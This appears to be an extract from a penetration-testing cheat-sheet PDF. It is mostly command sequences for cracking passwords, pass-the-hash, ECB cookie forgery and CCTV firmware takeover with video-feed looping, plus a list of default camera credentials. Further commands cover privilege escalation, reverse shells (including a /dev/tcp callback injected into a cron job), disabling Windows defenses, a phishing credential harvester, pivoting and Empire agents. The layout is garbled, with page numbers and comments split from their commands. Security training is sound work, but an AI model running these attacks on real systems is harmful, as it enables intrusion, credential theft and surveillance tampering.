:multithreaded cracking tool oclhashcat :GPU cracking w/ATI/NVIDIA -30x faster Hash Cracking (Linux) unshadow :first combine unshadow > unshadowed.txt john –-rules -–wordlist=/usr/share/wordlists/~.txt unshadowed.txt 37 *Remember to delete john.pot John the Ripper: SSE2 Capable cp –r /opt/john-1.8.0 /tmp/john-sse2 cd src make clean linux-x86-sse2 cd /tmp/john-sse2/run/ ./john –-test ./john /tmp/hashfile.txt ./john –-show /tmp/hashfile.txt cat john.pot :copy john to tmp folder :assuming we are 32 bit :cd into dir we made sse2 john :test showing much faster than normal :start running SSE2 john :show current cracked passwords :show all cracked passwords John Jumbo Version http://www.jedge.com/wordpress/2009/11/john-the-ripper-w-jumbo-patch/ Additional support for John; example needed to crack user.MYD (mysql) file Crack with Rainbow Tables Using Ophcrack ophcrack :command to run ophcrack select xterm :terminal cd /mnt/live/mnt/hdc/slax/ophcrack/tables; ls :review ophcrack tables select tables button & then a table :choose your rainbow table select load then PWDUMP :load our password dump select Launch :if issues then reload tables shutdown –h now :shut down ophcrack after Outsource Cracking Hashes Moxie Marlinspike :$17 to crack password in 20 minutes Physical Access to Machine (Linux Boot Discs) Win Admin Password Reset: http://pogostick.net/~pnh/ntpasswd :WinNT – Win 8.1, lose access to EFS keys Linux Root Password Reset: Boot original install disks to linux rescue, mount file system, counts are maintained by default in /var/log/faillog, reset using faillog –r –u Kon-Boot boot disc :woks on Windows and some Linux 38 Pass the Hash Pass the Hash (MetaSploit psexec) ./msfconsole use exploit/windows/smb/psexec set PAYLOAD windows/meterpreter/reverse_tcp set RHOST; set LHOST; set SMBUser set SMBPass : exploit :start :psexec mod (needs admin creds) : : :Pass the Hash Pass the Hash export SMBHASH:…:… :then do next cmd *Replace any NO PASSWORD LM hashes with empty LM hash pth-winexe –U administrator // cmd :to gain a command prompt pth- :shows all pass the hash tools OR wce –l (lists hashes avail) –s (insert cred into memory) –d (remove creds) Pass the Token wce –K (list tokens) –k (option to inject) Using PowerShell Empire Link 39 Encryption Exploitation Electronic Code Book Exploit Without Decrypting (Example of PHP Site using ECB for authentication) ECB description, splits into blocks of X bytes length, each block encrypted separeately XKCD ECB reference Detecting Weakness Register a new account & log in, the cookie auth string ends in %3d%3d (base64 for ==) Decode using the following Ruby code: % irb > require 'base64' ; require 'uri' > Base64.decode64(URI.decode("")) :where cookie auth= OR decode URI to string manually and then base 64 decode echo "OR9hcp18+C1bChK10NlRRg==" | base64 -d | hexdump –C :cookie auth=” OR9hcp18+…Rg==" Finding patterns in the cookie Create 2 accounts with same password, then compare the cookies and look for patterns Base 64 decode after Create a user with long username/password, do 20 “a”s for both. Base 64 decode then look for patterns. In our example, we see the pattern repeated after 8 bytes meaning the ECB encryption uses block size of 8 bytes. Also since the pattern is not completely repeated we see it is using a delimiter. This means the stream is either user-delimiter-pass or pass-delimiter-user. Create another user with a long user and short password to see how it is parsed. Find size of delimiter Create username/passwords of varying lengths to find the size of the delimiter. In our example we see combined user/password lengths of 5,6,7 bytes give a cookie length of 8 bytes, but user/password lengths of 8&9 give cookie length of 16. Previously we found that the block size is 8 bytes, we know the delimiter is 1 byter. Testing which part of cookie is used In this example we see that if we remove everthing after the delimiter it will still authenticate. You could try to generate admin: but in this example the web app prevents this attack Exploit the vulnerability Create a username that contains 8 characters followed by the word admin (aaaaaaaaadmin) Once decoded it looks like \x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3 In our previous example with 20 “a”s remove \x1AL\xD23k\xCA\x1D\xD7. So the new cookie looks like: \xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3, but remember to reencode. *To remove the bytes and convert back and forth you can use this online decoder/encoder Ruby Script to Encode: irb > require 'cgi'; require 'base64' => true > CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3")) => "4FZkLily63oHT8ZkGeMr4w%3D%3D" In Fiddler drop the old packet in Composer, replace the auth= string with the new value Exploit by Swapping Blocks Around (More difficult) Our example assumes SQL backend, and some dbs using VARCHAR will allow spaces after user – example “admin’ gives same result as ‘admin ‘ Goal is to end up with ECB(admin [separator]password) Use a username composed of password (8 bytes) followed by 7 spaces (1 for delimiter) Use a password of admin followed by 3 spaces. This way each block is 8 bytes long. Use Burp to intercept and make sure browser didn’t remove the spaces. Use Burp with decoder to swap first 8 bytes with last 8 bytes. 40 CCTV Systems Looping Surveillance Cameras (Defcon 23 Presentation) How To Live Editing of Network Software *note uses an active tap in the middle MitM Attack to Modify TCP Streams (Web Traffic) on the Fly sudo python2 run_sandwich.py show add link eth help eth eth list add eth ip add ip tcp tcp help tcp list load graphs/cloud2butt.py show :replaces “cloud” with “butt” Flip Images in Web Traffic run_sandwich.py –continued del eth load graphs/imageflip.py Replace Video Stream For video RTP/TCP is the protocol whereas the previous example intercepted HTTP, also RTSP, RTCP, RTP/UDP run_sandich.py --continued del eth load graphs/record.py show :should have link/eth/ip..etc –recorder and –rtsp load graphs/subtle.py :modifies feed on the fly to show as example recorder start loop.h264 recorder status :shows how many packets recorded recorder stop load graphs/loop.py :loads loop but timestamp still goes in circles load graphs/timestamp.py Binwalking the firmware Updates (older Tutorial by Benjamin Tamasi) How To (Older, but in English) Updated Notes Later nmap scan showed port 23 open on DVR downloaded firmware .bin update file romfs.img :showed us that it was a PPCBoot image binwalk –Me firmwareUpgrade.bin :you can automate the whole process this way cd firmwareUprade.extracted/ :navigate to extracted system ls; cd cramfs-root/; cat etc/passwd alternatively binwalk –S romfs.img | grep root gives a bunch of strings from extracted files, and gives us location of root OR file firmwareUpgrade.bin :showed us that its basically a zip file on windows rename to .zip but in linux did unzip firmwareUpgrade.bin, gave us .img files binwalk romfs.img :tells us 64 bit header, data CRC is also important because we could do custom updates ourselves to the firmware without telnet access to the current OS OR hexdump –C romfs.img :shows us a little more readable than cat command does, but we need to strip out first 64 bits of header dd bs=1 if=romfs.img of=romfs.out skip=64 :cut out first 64 bits and rename it romfs.out file romfs.out :shows us stripping out first 64 bit header gives us a linux file system mount –o loop romfs.out /tmp/foo :mount our firmware upgrade w/stripped out header cd /tmp/foo :check out our mounted fw upgrade cat /etc/passwd :shows root passwd hash (embedded linux doesn’t use shadow often) *copy to john’s hashlist, then john.exe hashlist.txt – (cmd is in windows) oclhashcat cracked faster for Ben 41 THEN ls; cd mnt; cd mtd; cd Config; cat Account1 :showed us telnet password’s hash mount :/mnt/mtd shows rw, meaning we can change the password rm Account1 (then reboot) :deletes account file which will set back to factory default (blank) *or in later example rm -rf /mnt/mtd/* to reset camera to factory ReverseTCPShell: msfconsole use linux/armle/shell_reverse_tcp set LHOST 192.168.1.107 set SHELL /bin/sh generate -f backdoor -t elf use exploit/multi/handler set PAYLOAD linux/armle/shell_reverse_tcp set LPORT 4444 exploit # :) VIDEO STREAMS kill -SIGSTOP pid # pid of fvideoencoder :freeze the video stream kill -CONT pid # pid of fvideoencoder :unfreeze the video stream mount -t cifs -o username=GUEST,password=p //192.168.1.107/smb /mnt/samba :mount smb share Umount and remount /mnt/web from a samba share (here we have rw access, we can modify anything without damaging the device) Replacing Video Feed with a Loop Like In Mission Impossible Updated Notes Later (much better, but in Hungarian ) & supporting docs # Needed: apt-get install cramfsprogs, mtd-utils, upx-ucl # Default passwords, guest account left on telnet: xmhdipc, xc3511, rockTeco, vizxv rtsp://192.168.1.108:554//user=admin_password=_channel=1_stream=0.sdp # System info.... cd around /proc/cpuinfo, /proc/stat, bins # Mount Samba (CIFS) share: mount -t cifs -o username=GUEST,password=p //192.168.1.107/smb /mnt/samba # Dump flash dd if=/dev/mtdblock0 of=/mnt/samba/mtdblock0 bs=4096 # Dump Memory dd if=/dev/mem of=/mnt/samba/ram bs=4096 # We get a segfault, but we got some handy info # binwalk flashdump # extract flashdump (cramfs, jffs2) sudo cramfsck -x output 0.cramfs jffs2reader mtdblock7 # -d: directory, -f: cat out file jffs2dump mtdblock7 # mount jffs2 image modprobe mtdram total_size=65536 # also erase_size=128 modprobe mtdblock modprobe jffs2 dd if=mtdblock7 of=/dev/mtdblock0 mount /dev/mtdblock0 /mountpoint -t jffs2 # U-Boot bootargs: strings mtdblock1 # bootargs = Linux Kernel Boot Arguments # Web Server fun # check open ports netstat -l # netstat does not have the option -e, we use instead: cat /proc/net/tcp | grep :0050 # 0050 is port 80 in hex 42 # get inode info: 3896 # Check process for inode 3896 ls -l /proc/939/fd | grep 3896 # Sofia # Map Open ports to processes # ========= TCP ================ # 23 - telnetd # Telnet Server # 80 - Sofia # HTTP Server # 554 - Sofia # RTSP Stream # 8899 - Sofia # SOAP (ONVIF?) # 9527 (???) # 34561 # 34567 - Sofia # ONVIF (Media Port?) # 34599 - Sofia # # ========= UDP ================ # Metasploit Fun msfconsole use linux/armle/shell_reverse_tcp set LHOST 192.168.1.107 set SHELL /bin/sh generate -f backdoor -t elf use exploit/multi/handler set PAYLOAD linux/armle/shell_reverse_tcp set LPORT 4444 exploit # :) # Video fun (Replacing the RTSP Stream) # replace values in mt.js "rtsp://" # Compile our own software for the device #compile with arm-gcc: arm-linux-gnueabi-gcc -march=armv5te -mtune=arm926ej-s -msoft-float -mfloat-abi=soft -o helloworld helloworld.c Script:stream.sh #!/bin/sh # ----------------------------------------echo "VLC RTSP Stream script" sudo vlc-wrapper -I telnet --telnet-password vlc --rtsp-host 0.0.0.0:554 --vlm-conf vlc.conf Support configuration file for script above: vlc.conf new batman vod enabled setup batman input batman.mp4 Support configuration file for script below: webcam.conf new batman vod enabled setup batman input v4l2:///dev/video0:v4l2-standard=PAL:v4l2-dev=/dev/video0 output "#transcode{vcodec=h264}" Script: webcam.sh #!/bin/sh # ----------------------------------------echo "VLC RTSP Stream script" sudo vlc-wrapper -I telnet --telnet-password vlc --rtsp-host 0.0.0.0:554 --vlm-conf webcam.conf Common Logins Camera Manufacturer Username Password Default IP 3xLogic admin 12345 192.0.0.64 ACTi Admin or admin 12345/123456 192.168.0.100 American Dynmics admin Admin/9999 192.168.1.168 Arecont Vision admin no set password no default/DHCP Avigilon admin admin no default/DHCP Avigilon (newer) Administrator no default/DHCP 43 Axis root pass or no set password 192.168.0.90 Basler admin admin 192.168.100.x Bosch service service 192.168.0.1 Bosch Dinion no set password 192.168.0.1 Brickcom admin admin 192.168.1.1 Canon root Model# of camera 192.168.100.1 CBC Ganz admin admin 192.168.100.x Cisco no default no set password 192.168.0.100 CNB root admin 192.168.123.100 Costar root root unknown Dahua admin admin 192.168.1.108 Digital Watchdog admin admin DRS admin 1234 192.168.0.200 DVTel Admin 1234 192.168.0.250 DynaColor Admin 1234 192.168.0.250 FLIR admin fliradmin 192.168.250.116 Foscam admin [leave blank] unknown GeoVision admin admin 192.168.0.10 Grandstream admin admin 192.168.1.168 GVI Admin 1234 192.168.0.250 HIKVision admin 12345 192.0.0.64 Honeywell administrator 1234 no default/DHCP IOImage admin admin 192.168.123.10 IPX-DDK root Admin or admin 192.168.1.168 IQInvision root system no default/DHCP JVC admin Model# of camera no default/DHCP LTS Security admin 12345/123456 192.0.0.64 March Networks admin [leave blank] unknown Merit Lilin Camera admin pass no default/DHCP Merit Lilin Recorder admin 1111 no default/DHCP Messoa admin 1234/Model# of camera 192.168.1.30 Mobotix admin meinsm no default/DHCP Northern admin 12345 192.168.1.64 Panasonic admin 12345 192.168.0.253 192.168.1.123 44 Panasonic admin1 password 192.168.0.253 Pelco admin admin no default/DHCP PiXORD admin admin 192.168.0.200 PiXORD root pass 192.168.0.200 QVIS Admin 1234 192.168.0.250 Samsung Techwin root 4321 or admin 192.168.1.200 Samsung Techwin admin 4321 or 1111111 192.168.1.200 Sanyo admin admin 192.168.0.2 Sentry360 Admin 1234 192.168.0.250 Sony admin admin 192.168.0.100 Speco (older) root/admin root/admin 192.168.1.7 Speco (newer) admin 1234 192.168.1.7 StarDot admin admin no default/DHCP Starvedia admin no set password no default/DHCP Toshiba root ikwb 192.168.0.30 Trendnet admin admin 192.168.10.1 UDP root unknown unknown Ubiquiti ubnt ubnt 192.168.1.20 W-Box admin wbox123 192.0.0.64 Wodsee admin [leave blank] unknown Verint admin admin no default/DHCP VideoIQ supervisor supervisor no default/DHCP Vivotek root no set password no default/DHCP 45 Privilege Escalation Windows Privileged Services Commonly Exploited csrss.exe winlogon.exe lsass.exe SAM database :controls interactions within user mode :logs users on :authorization checks : Privilege Escalation in Linux (Ubuntu Example) ssh user @ip :you have a logon user but no root priv cat /etc/issue :example, we see 32 bit Ubuntu uname –a :we found the kernel version *Look on exploit database to find 32 bit kernel exploit called mempodipper.c wget -0 linklocation :run on target machine; get exploit code gcc exploit.c –o exploit :compile code to binary file on target file exploit :properties id :properties ./exploit :run exploit cat /etc/shadow :use root priv to view logons *Many exploits unstable and can cause crashes Setgid Root Privilege Escalation (Unix #30) sudo –l ls -l /usr/bin/passwd sudo -u victim cp /bin/bash /tmp/foo cd /tmp sudo -u victim chmod +xs foo ls -ltrh :check for the s bit set for setgui id whoami exit :in this example root on /usr/bin/passwd :look for s in permissions for setgid :old exploits could copy bash vi bar.c :create the following C file :set the gid bit int main(void) { system("cat /home/victim/key.txt"); } gcc -o bar bar.c sudo -u victim cp bar /tmp/foo sudo -u victim chmod +xs foo ls –ltr ./foo :compile the C code :copy the file as victim :add the setgid bit :check to make sure s for setgid bit :run program you compiled then copied Sudo Misconfig Privilege Escalation Using Perl Access (Unix #31) sudo -l :in this example we can run perl sudo -u victim perl -e 'print `cat /home/victim/key.txt`' :perl can use back ticks to run cmds Alternative method: Note the following will receive permission denied: sudo -u victim perl -e "print `cat /home/victim/key.txt`" So you would have to do the following: sudo -u victim perl -e '`/bin/bash`' id cp /home/victim/key.txt /tmp/.key chmod 777 /tmp/.key cat /temp/.key :note you will not be able to view exit 46 cat /tmp/key :now you can view Sudo Misconfig Privilege Escalation Using Python Access (Unix #32) sudo –l sudo -u victim python :check permission, example gives python :run python as user victim >>>import os >>>os.system('uname') >>>os.system('cat /home/victim/key.txt') alternatively >>>from subprocess import call >>>call(['cat', '/home/victim/key.txt']) Sudo Misconfig Privilege Escalation Using Ruby Access (Unix #33) sudo -l :check permission, example gives python sudo –u victim ruby –e ‘`id`’ :single quote outside, backtick inside sudo -u victim ruby –e 'puts `cat /home/victim/key.txt`' alternatively sudo -u victim ruby -e 'require "irb"; IRB.start(__FILE__)' >puts `id` >puts `cat /home/victim/key.txt` Sudo Misconfig Privilege Escalation Using JavaScript (node) Access (Unix #34) sudo -l :check permission, example gives /usr/local/bin/node sudo -u victim node -e 'var exec = require("child_process").exec; exec("cat /home/victim/key.txt", function (error, stdOut, stdErr) { console.log(stdOut); });' Privilege Escalation in Windows (XP/Server 2003 Exploit Example) *We use the MS11-080 Afd.sys privilege exploit Wget -0 ms11-080.py http://linklocation :download exploit onto a windows box *The exploit was written in python, most Win don’t have, so we have to install pywin32218,and also unzip pyinstaller to our Windows box *Save exploit under pyinstaller directory (ms11-080.py) Python pyinstaller.py –onefile ms11-080.py :compile .py to .exe *once compiled find under ms11-080/dist *host in web root folder on linux box so that we can download it on target windows box *To download it on our target Windows box, IE then ip/ms11-080.exe Ms11-080.exe -0 2K3 :run exploit on target box, get prompt whoami :quick check once prompt net user backup backup /add :add user net localgroup administrator backup /add :add backup to local admin group Privilege Escalation using Enlightenment Exploit Pack (for Linux) run_null_exploits.sh run_nonnull_exploits.sh :then choose 1-6 for exploits :then choose 1-6 for exploits Privilege Escalation using Meterpreter (for Windows) use priv getsystem hashdump run hashdump getuid ALSO getprivs load kiwi creds_all :loads priv module :attempts to get system priv :pull hashes from memory :pull hashes file system in registry :make sure getsystem worked :pull additional privs using existing :loads Mimikatz 2 :kiwi command to pull passwds from mem 47 Privilege Escalation in Windows (Weak Service Permissions Example) icalcs scsiaccess.exe :in Windows check permissions *In Kali we take the following script useradd.c: #include Int main {} { Int I; I=system (net localgroup administrators lowpriv /add”); Return 0; } i586-mingw32msvc-gcc useradd.c –o useradd.exe :compile our c file to windows exe file useradd.exe :file properties cp useradd.exe /var/www/ :copy to web directory to share w/Win *Win box go to IE, http://kali_ip/useradd.exe :pull down from kali web directory Move scsiaccess.exe scsiaccess.exe.orig :archive old exe we are exploiting Copy C:\..\Downloads\useradd.exe scsiaccess.exe:Note our cmd prompt is in the scsi fldr *Next time service restarted or computer restarted the service will run the new script Services.msc :Windows services; Privilege Escalation in Linux (Weak Service Permissions Example) find / -perm -2 ! –type l –ls 2>/dev/null nano /etc/cron.hourly/cronjob.sh bash –I >& /dev/tcp/kali_ip/443 0>&1 nc –lvp 443 id :Search system for world writable files :example cron job with full privileges :Add line in script for nc connection :Set up netcat listener on kali machine :on the listener see what privs we have Escalate From Bash to Terminal Access (Install Telnet on Windows) pkgmgr /iu:”TelnetServer” :install package, if fails try next cmd dism /online /Enable-Feature /FeatureName:TelnetServer :if 1st install command fails try this one sc query tlntsvr :check if service is running sc config tlntsvr start=demand :a disabled svc cant be started sc start tlntsvr :start telnet server net user /add :for a pen test create disposable net localgroup TelnetClients /add :some Win vs require this net localgroup TelnetClients /add :add user to the group netsh advfirewall firewall add rule name=”Allow TCP 23 dir=in action=allow remoteip= protocol=TCP localport=23 :punch a hole in the host firewall OR run gettelnet :meterpreter script that does same Escalate From Bash to Terminal Access (Enable RDP) sc query termservice :see if RDP is running sc config termservice start= demand :change so we can manually start sc start termservice :start RDP service reg add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 :allow terminal svcs connections netstat –na | find “:3389” :see if RDP is listening net user /add :disposable account for pentest net localgroup “Remote Desktop Useres” /add :put account in RDP group netsh advfirewall firewall add rule name=”Allow RDP” dir=in action=allow remoteip= protocol=TCP localport=3389 :punch a hole in the firewall OR Run getgui :meterpreter script that does same VNC Access Inject Into Memory meterpreter > run vnc :must have meterpreter payload Bash to Terminal Escalation in Linux (Python required on Target) python –c “import pty”; pty.spawn(‘/bin/sh’);” :pty is terminal capabilities 48 Bash to Terminal Escalation in Linux (enabling sshd/telnetd) useradd –o –u 0 :add user with root priv - pentest echo | passwd –stdin :some linux needs non-UID 0 to ssh service sshd start :invoke ssh on systems w/svc cmd /etc/init.d/sshd start :start ssh on system w/no svc cmd telnet: ps aux | grep inetd (or xinetd) :chck to see if process running telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd :if inetd is used grep telnet /etc/services :if no line for 23 add it kill –HUP :afer changes reread the config Bash Workaround for accessing system with Privileges of Another Account runas /u:administrator cmd.exe su/ sudo/ :use schtasks /? Or at /? :use crontab to schedule a job Disable Group Policy / Windows Defender / Windows Firewall Disable Group Policy cmd REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start :change to “4” First need to take ownership -f –D192.168.1.5,172.69.84.3 –-spoof-mac 0:nmap SYN scan nmap –sV –sT :OS, services, enum SQL Scan, SSH Scan, FTP Scan *Refer to FingerPrint / Scanning Page Open VNC Scan (Often) msfconsole use auxiliary/scanner/vnc/vnc_none_auth set RHOSTS :open metasploit :scanner for unauthenticated vnc :set ips Open X11 Scan (Legacy, Highly Vulnerable) msfconsole use auxiliary/scanner/x11/open_x11 set RHOSTS set THREADS 50 run :open metasploit :scanner for X11 servers :set ips Enumeration nbtscan –r enum4linux –v net use \\ net use \\\ enum –S enum –U enum –G :identify NetBIOS info :enumeration tool in Kali, user names, shares :attempts a null session :shares such as IPC$,ADMIN$,C$ :list of shares (IPC$,ADMIN$,C$) :list of users :list of groups and member acconts Password Cracking Hydra –L -P ssh :create userlist from enumeration Finding a Vulnerability and Exploiting nmap –sT –A –P0 :nmap detailed scan 50 nmap –sT –A –script=smb-check-hs –P0 msfconsole search use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp show targets set TARGET 3 set RHOST set LHOST set LPORT show options exploit :vulnerability check :after finding a vulnerability :search for exploits :set your exploit :show PAYLOAD shows options :in this case OS specific :3 corresponds to the OS :define target :your ip :your port to receive on :make sure your variables good Exploiting Through Social Engineering cd /pentest/exploits/set ./set 2 3 2 https://www.facebook.com/login.php alternatively you could do cd ./set python –m SimpleHTTPServe :social engineering toolkit :website attack vectors :credential harvester method :site cloner :clone fb, listens on port 80 :starts server to serve payloads 51 Port Forwarding / Proxies / Tunneling MetaSploit Port Forwarding use set PAYLOAD windows/meterpreter/bind_tcp exploit background route add <2nd_victim_subnet> use set RHOST & PAYLOAD exploit :set exploit to use :set other variables too :assume we exploit :send to background :add pivot route :prepare exploit for 2nd victim :set variables :pivots exploit through 1st meterpreter Port Forwarding (bypass firewall port filters) nano /etc/rinetd.conf :edit rinetd config to port forward *add: i.e. 208.88.127.99 80 67.23.74.189 3389 :goes out on port 80, connect to RDP /etc/init.d/rinetd restart :restart svc to take effect *Then mstsc (RDP) to proxy ip, enter 208.88.127.99:80 in mstsc which actually forwards to 67.23.74.189 Bypass Firewall with Local Netcat Relay (on target box) mknod backpipe p :create backpipe nc –l –p 0backpipe :TO port 22 ssh user@ip –p :now our backpipe will route to port 22 SSH Tunneling: Local Port Forwarding ssh -L :: ex: ssh w.x.y.z –p 53 –L 8080:a.b.c.d:80 :ex where f/w only allows port 53 http://127.0.0.1:8080 SSH Tunneling: Remote Port Forwarding ssh -R :: ex: ssh a.b.c.d –p 53 –R 3390:127.0.0.1:3389 :connect to target & forward to rdp rdesktop 127.0.0.1:3390 SSH Tunnel & Proxy ncat –lvp 443 :received shell from inside computer C:>dir plink.exe :we have uploaded a plink.exe (ssh client) C:>netstat –an |find “LISTEN” :look for listening ports C:>plink –l root pass -R 3390:1270.0.01:3389 Attacker box:netstat –antp |grep LISTEN :look to listening ports rdesktop 127.0.0.1:3390 :Routes across proxy server Proxychain Example (Run any network tool through HTTP, SOCKS4, SOCKS5 proxy) ssh –f –N –R 2222:127.0.0.1::22 root@208.68.234.100 :first create a reverse SSH shell to attack machine netstat –lntp :shows connection to target machine over p 2222 ssh –f –N –D 127.0.0.1:8080 –p 2222 hax0r@127.0.0.1 :create dynamic application level port forward on port 8080 on our attacking machine netstat –lntp :show connection proxychains nmap –T5 –-top-ports=20 –sT –Pn :run nmap through our proxy target SSH Dynamic Forwarding & Proxy Chain *Example: We have compromised public facing server w/ssh running ssh –D 8080 root@admin.megacorpone.com :dynamic forward netstat –antp |grep 8080 :shows tunnel on our attack machine 52 nano /etc/proxychains.conf :add “socks4 127.0.0.1 8080” proxychains nmap –p 3389 –sT –Pn 172.16.40.18-22 –open :do a TCP Connect Scan on the on-routable ips via our compromised ssh server proxychains rdesktop 172.16.40.20 :RDP to non-routable ip via compromised ssh svr HTTP Tunneling (possibly bypass stateful inspection f/w) nc –vvn Traffic Encapsulation (possibly bypass deep packet inspection) http_tunnel stunnel 53 Metasploit Basic Commands /etc/init.d/postgresql /etc/init.d/metasploit update-rc.d postgresql update-rc.d metasploit msfconsole armitage help show exploits show auxiliary show payloads show options info setg RHOSTS ; setg back exploit –j jobs sessions –l sessions –i <#> sessions –K background Cntrl+Z start start enable enable THREADS 10 :MSF service required :MSF service required :auto boot postgresql svc :auto boot metasploit svc :starts metasploit-framework :3rd party GUI to MSF :help : :various tasks, info gather, scan, etc : : : :setg sets global variables :return from auxiliary module :run exploit in background :show running jobs :show list of sessions :interact with session :kill all sessions :send session to background :exit session and go back to msfconsole Meterpreter Commands help exit ? migrate sysinfo shutdown & reboot reg cd; lcd; pwd; ls; cat; mkdir; rmdir cat download/upload getpid; getuid; ps; kill; execute getprivs migrate ipconfig; route portfwd add –l 1234 –p 4444 –r screenshot –p idletime uictl webcam_list; webcam_snap record_mic –d # keyscan_start; keyscan dump; keyscan_stop use priv getsystem –t 0 hashdump run hashdump timestomp :summary of commands :or quit works too :meterpreter full commands :migrate to stable process such as lsass :system name & OS running on :system running on :read or write to memory :basic file system commands :display content files :move file to/from machine :common process commands :pull as many additional privs as possbl :migrate meterpreter to a stabler proc :networking commands :set up port forward; first target=proxy :take a screenshot of the victim :time GUI has been idle :don’t do during pen tests :webcam options :record microphone # of seconds :keystroke logger :use the ext_server_priv module :priv escalation 0 tries all – priv mod :dump hashes from SAM – priv mod :pull hashes from registry :modify date/times – priv mod MetaSploit Database Services hosts hosts –c address,os_flavor dbnmap 192.168.31.200-254 --top-ports 20 services –p 443 db_export creds loot :display info about discovered hosts :search for certain properties of hosts :scan hosts into MSF db w/nmap :search MSF for machines w/ports open :dump contents of database to flat file :creds collected :post mods-creds from browser, ssh key.. 54 Webdav Vulnerabilities (often poorly configured and easy targets) use auxiliary/scanner/http/webdav_scanner show options run :sets the webdav scanner :parameters required to run this mod :run the module SNMP Enumeration search snmp use auxiliary/scanner/snmp/snmp_enum info show options set RHOSTS ; set THREADS 10 run :list exploits & modules :select snmp enumeration scan :read info about it :parameters required to run this mod :set parameters :run the module SMB Version Scanner search smb use auxiliary/scanner/smb/smb_version info show options set RHOSTS ; set THREADS 10 run :list exploits & modules :select smb version scan :read info about it :parameters required to run this mod : set parameters :run module MetaSploit PSExec (Needs creds but one of the most commonly used exploits) msfconsole :start it up use exploit/windows/smb/psexec :select our psexec module show options, set RHOST, set RPORT, set SMBUser, set SMBPass, set SMBDomain exploit *if psexec doesn’t work Veil-Catapult is useful is psexec fails Pop3 Exploit Example search pop3 :list pop3 exploits & modules use exploit/windows/pop3/seattlelab_pass :Seattle Lab Mail 5.5 Example exploit set PAYLOAD windows/ :show all windows payload options set PAYLOAD windows/shell_reverse_tcp :select reverse shell show options :show parameters needing to be added set RHOST ; set LHOST :set parameters set LPORT 443 exploit Meterpreter Reverse_TCP Payload (favorite & most commonly used) use exploit/windows/pop3/seattlelab_pass :Seattle Lab Mail 5.5 Example exploit set PAYLOAD windows/met :show all windows meterpreter payloads set PAYLOAD windows/meterpreter/reverse_tcp :set the meterpreter payload for windows show options :show parameters needing to be added exploit help :show options once you get shell sysinfo :queries basic parameters of computer getuid :permissions of session on machine search –f *pass*.txt :search file system for passwords file upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec :upload files to target download c:\\Windows\\system32\\calc.exe /tmp/calc.exe :download file from target shell :start cmd prompt on victim machine;if our shell dies we can simply spawn another sessions ftp 127.0.0.1 exit –y :shut down Meterpreter session Meterpreter Reverse_HTTPS Payload (Allow to bypass most deep packet inspection filters) 55 use windows/meterpreter/reverse_https :select reverse_https info :exploit info use windows/meterpreter/reverse_tcp_allports :Attempts to connect back on all ports – handy when you’re not sure what egress firewall ports are in place Add Exploits to MetaSploit mkdir –p ~/.msf4/modules/exploits/windows/misc :make new directory cd ~/.ms4/modules/exploits/windows/misc :enter dir cp /usr/share/metasploit-framework/modules/exploits/windows/pop3/seattlelab_pass.rb ./vulnserver.rb :copy over an exploit to mod nano vulnserver.rb :edit exploit with our own *Change payload space (in our case 800), Target Description, Ret (JMP ESP Address), Offset, default RPORT, modify original exploit with our shell code search vulnserver :search for exploit in metasploit use exploit/windows/misc/vulnserver :set our new exploit set PAYLOAD windows/meterpreter/reverse_tcp :payload set LHOST ; set LPORT 443;set RHOST :set parameters Resource Files (Automating Exploitation) *Usually keep under /opt/metasploit/msf3/ echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc echo set RHOST 192.168.1.155 >> autoexploit.rc echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc echo set LHOST 192.168.1.101 >> autoexploit.rc echo exploit >> autoexploit.rc msfconsole resource autoexploit.rc MSF Multi/Handler (Accept various incoming payloads) msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https show options set LHOST 192.168.0.5 set LPORT 443 exploit Post Exploitation search post … exploit sysinfo background use exploit/windows/local/service_permissions show options set SESSION 2 exploit sessions –i 2 MetaSploit Port Forwarding use set PAYLOAD windows/meterpreter/bind_tcp exploit background route add <2nd_victim_subnet> use set RHOST & PAYLOAD exploit :establish meterpreter session :background session :we want to elevate permissions :set session 2 :enter into session :set exploit to use :set other variables too :assume we exploit :send to background :add pivot route :prepare exploit for 2nd victim :set variables :pivots exploit through 1st meterpreter 56 PowerShell Empire About PowerShell Empire https://www.powershellempire.com A PowerShell framework for pen testing from MimiKatz to token manipulation, lateral movement, etc. Troubleshooting PowerShell in General Set-ExecutionPolicy Unrestricted Enable-PSRemoting netsh advfirewall set allprofiles state off Invoke-PSRemoting (within PS Empire) Usemodule lateral_movement/invoke_psremoting Execute Back Remotely enable PSRemoting and Unrestricted PowerShell Execution using PsExec and PSSession, then run PSRecon Option 1 -- WMI: PS C:\> wmic /node:"10.10.10.10" process call create "powershell -noprofile command Enable-PsRemoting -Force" -Credential Get-Credential Option 2 - PsExec: PS C:\> PsExec.exe \\10.10.10.10 -u [admin account name] -p [admin account password] -h -d powershell.exe "Enable-PSRemoting -Force" Next... PS C:\> Test-WSMan 10.10.10.10 PS C:\> Enter-PSSession 10.10.10.10 [10.10.10.10]: PS C:\> Set-ExecutionPolicy Unrestricted -Force Setup ./setup/install.sh ./setup/setup_database.py :first setup script :second setup script ./empire :starts PS Empire Listener help listeners list info set Host http://ip:port ./setup/cert.sh Execute :man page :listener mgmnt menu :active listeners :current set listener options : :generate self signed cert for https :start listener Stager usestager set/unset/info generate launcher :list avail stagers : :generate output code :generate launcher for specific listnr Agents agents kill all interact :jump to agents menu :kill all active agents : 57 info/help cd/upload/download/rename exit :once interacted :once interacted : Modules usemodule :see available modules searchmodule privesc :search module names/descriptions usemodule situational_awareness/network/sharefinder info : set

Source Exif Data:
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 86
Language                        : en-US
Tagged PDF                      : Yes
Author                          : Ian
Creator                         : Microsoft® Word 2016
